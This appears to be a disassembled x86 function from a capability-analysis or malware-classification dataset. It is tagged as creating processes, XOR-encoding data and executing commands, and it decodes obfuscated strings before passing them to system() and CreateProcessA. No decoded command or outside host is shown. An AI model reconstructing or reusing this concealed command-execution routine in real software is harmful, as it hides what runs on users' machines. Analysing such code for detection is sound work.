Function at 0x407450
Capabilities:
Create process on windows
Encode data using xor
Execute command

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xf8
mov eax, dword [0x49e040]
xor eax, esp
mov dword [esp + 0xf4], eax
cmp byte [0x4986fb], 0
mov eax, dword [0x4986f4]
mov edx, dword [0x4986f8]
push esi
push edi
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
je 0x407598
xor ecx, ecx
cmp dword [0x5b5cf8], 2
jl 0x407570
movaps xmm2, xmmword [0x4995e0]
movaps xmm3, xmmword [0x4996a0]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x499610]
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x499630]
xorps xmm2, xmm0
movd dword [esp + 8], xmm2
movaps xmm2, xmmword [0x4995f0]
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x499610]
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmmword [0x499620]
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x499630]
xorps xmm2, xmm0
movd dword [esp + 0xc], xmm2
jmp 0x407598
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dl, cl
movsx eax, al
imul eax, eax, 0x34
sub dl, al
add dl, 0x30
xor byte [esp + ecx + 8], dl
inc ecx
cmp ecx, 8
jl 0x407570
lea eax, [esp + 8]
push eax
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm0, xmmword [0x4998b0]
lea eax, [esp + 0x2c]
movaps xmm2, xmmword [0x4995e0]
lea ecx, [esp + 0x2c]
movups xmmword [esp + 0x2c], xmm0
mov esi, 4
mov edi, 8
movaps xmm0, xmmword [0x4997e0]
sub esi, eax
movups xmmword [esp + 0x3c], xmm0
sub edi, eax
mov eax, 0xc
movaps xmm0, xmmword [0x499880]
add esp, 4
movups xmmword [esp + 0x48], xmm0
xor edx, edx
sub eax, ecx
movaps xmm0, xmmword [0x499750]
movups xmmword [esp + 0x58], xmm0
mov dword [esp + 8], eax
movaps xmm0, xmmword [0x499970]
movups xmmword [esp + 0x68], xmm0
mov word [esp + 0x78], 0x100
movaps xmm0, xmmword [0x4996b0]
movaps xmmword [esp + 0x10], xmm0
mov eax, dword [esp + 0x10]
movd xmm0, edx
lea ecx, [esp + 0x28]
pshufd xmm1, xmm0, 0
add ecx, edx
paddd xmm1, xmm2
movd xmm0, eax
andps xmm1, xmmword [0x499620]
add edx, 0x10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
lea eax, [ecx + esi]
psubb xmm1, xmm0
movd xmm0, dword [ecx]
xorps xmm1, xmm0
movd xmm0, eax
movd dword [ecx], xmm1
lea eax, [ecx + edi]
pshufd xmm1, xmm0, 0
movd xmm0, dword [esp + 0x10]
paddd xmm1, xmm2
andps xmm1, xmmword [0x499620]
packuswb xmm1, xmm1
packuswb xmm1, xmm1
psubb xmm1, xmm0
movd xmm0, dword [ecx + 4]
xorps xmm1, xmm0
movd xmm0, eax
mov eax, dword [esp + 8]
movd dword [ecx + 4], xmm1
add eax, ecx
pshufd xmm1, xmm0, 0
movd xmm0, dword [esp + 0x10]
paddd xmm1, xmm2
andps xmm1, xmmword [0x499620]
packuswb xmm1, xmm1
packuswb xmm1, xmm1
psubb xmm1, xmm0
movd xmm0, dword [ecx + 8]
xorps xmm1, xmm0
movd xmm0, eax
mov eax, dword [esp + 0x10]
movd dword [ecx + 8], xmm1
pshufd xmm1, xmm0, 0
paddd xmm1, xmm2
andps xmm1, xmmword [0x499620]
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
psubb xmm1, xmm0
movd xmm0, dword [ecx + 0xc]
xorps xmm1, xmm0
movd dword [ecx + 0xc], xmm1
cmp edx, 0x50
jb 0x407623
push ecx
lea eax, [esp + 0x7c]
mov byte [esp + 0x7d], 0
push eax
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0xa4]
call fcn.00410fd0
cmp dword [esp + 0xac], 0xf
lea ecx, [esp + 0x80]
push ecx
lea ecx, [esp + 0xb4]
mov dword [esp + 0xb4], 0x44
push ecx
push 0
push 0
push 0x10
push 0
xorps xmm0, xmm0
lea eax, [esp + 0xb0]
cmova eax, dword [esp + 0xb0]
push 0
push 0
push eax
push 0
movlpd qword [esp + 0xdc], xmm0
movlpd qword [esp + 0xe4], xmm0
movlpd qword [esp + 0xec], xmm0
movlpd qword [esp + 0xf4], xmm0
movlpd qword [esp + 0xfc], xmm0
movlpd qword [esp + 0x104], xmm0
movlpd qword [esp + 0x10c], xmm0
movlpd qword [esp + 0x114], xmm0
movaps xmmword [esp + 0xa8], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4077dd
push dword [esp + 0x80]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x84]
call esi
mov ecx, dword [esp + 0xac]
cmp ecx, 0xf
jbe 0x40781b
mov edx, dword [esp + 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x407811
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x407811
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0044fd86
add esp, 8
mov ecx, dword [esp + 0xfc]
pop edi
pop esi
xor ecx, esp
call fcn.0044fd73
mov esp, ebp
pop ebp
ret